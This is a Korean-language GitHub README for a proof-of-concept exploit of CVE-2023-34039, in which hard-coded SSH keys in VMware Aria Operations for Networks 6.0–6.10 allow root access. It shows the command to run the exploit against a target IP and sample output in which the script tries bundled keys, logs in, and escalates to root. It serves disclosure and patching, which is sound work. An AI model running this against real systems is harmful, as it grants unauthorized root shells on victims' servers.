syedhafiz1234/cve-2023-34039CVE-2023-34039
CVE-2023-34039 VMWare Aria Operations for Networks (vRealize Network Insight) 정적 SSH 키 RCE를 위한 POC
취약점에 대한 근본 원인 분석은 제 블로그에서 확인할 수 있습니다:
https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039/
VMWare Aria Operations for Networks (vRealize Network Insight) 버전 6.0부터 6.10까지 support 및 ubuntu 사용자의 SSH 키를 재생성하지 않아 SSH 접근 권한이 있는 공격자가 이 제품에 root 셸 접근 권한을 얻을 수 있었습니다.
이 문제는 Harsh Jaiswal (@rootxharsh) 과 Rahul Maini (@iamnoooob)이(가) ProjectDiscovery Research에서 VMWare에 보고했습니다.
저는 익스플로잇을 작성했습니다. (그것을 익스플로잇이라고 부를 수 있다면요.) 기본적으로 SSH 명령 래퍼입니다.
python CVE-2023-34039.py --target 192.168.1.16
(!) VMWare Aria Operations for Networks (vRealize Network Insight) Static SSH key RCE (CVE-2023-34039)
(*) Exploit by Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
(*) Trying key: keys/vrni-6.2.0/id_rsa_vnera_keypair_6.2.0_collector
(*) Trying key: keys/vrni-6.2.0/id_rsa_vnera_keypair_6.2.0_platform
(*) Trying key: keys/vrni-6.10.0/id_rsa_vnera_keypair_6.10.0_platform
********************************** ATTENTION **********************************
NTP Service is not healthy.
IMPACT: It may affect the proper working of other services.
ACTION: Restore the service using 'ntp' CLI command.
********************************** ATTENTION **********************************
support@vrni-platform-release:~$ sudo -i
root@vrni-platform-release:~# id
uid=0(root) gid=0(root) groups=0(root)
root@vrni-platform-release:~# hostname
vrni-platform-release
root@vrni-platform-release:~#
최신 버전으로 업데이트하거나 Progress Advisory의 지침에 따라 완화하십시오.